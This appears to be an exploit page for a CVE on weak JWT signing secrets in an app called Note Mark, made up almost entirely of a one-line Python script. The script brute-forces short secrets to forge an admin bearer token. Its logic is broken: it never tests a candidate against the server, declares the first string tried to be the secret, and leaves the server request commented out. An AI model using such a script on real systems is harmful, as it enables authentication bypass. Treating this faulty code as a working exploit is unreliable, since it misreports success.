CVE-2026-44523 Note Mark JWT密钥强度不足漏洞

import jwt import requests import itertools # Target configuration target_url = "http://vulnerable-host/api/user/profile" algorithm = "HS256" # Since the app accepts any base64-decodable secret (even 1 byte), # we can brute force short characters. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" max_length = 4 print("[*] Starting brute force for weak JWT_SECRET...") # Sample token captured from the application (invalid without secret) # We need to find the secret to forge a valid token sample_payload = {"sub": "admin", "role": "admin"} for length in range(1, max_length + 1): for candidate_tuple in itertools.product(charset, repeat=length): candidate_secret = ''.join(candidate_tuple) try: # Attempt to encode a token with the candidate secret # If the app accepts this secret, we can forge tokens forged_token = jwt.encode(sample_payload, candidate_secret, algorithm=algorithm) print(f"[+] Found potential weak secret: {candidate_secret}") print(f"[+] Forged Admin Token: {forged_token}") # Verify usage headers = {"Authorization": f"Bearer {forged_token}"} # resp = requests.get(target_url, headers=headers) # if resp.status_code == 200: # print("[!] Exploit Successful!") # exit(0) break except Exception as e: continue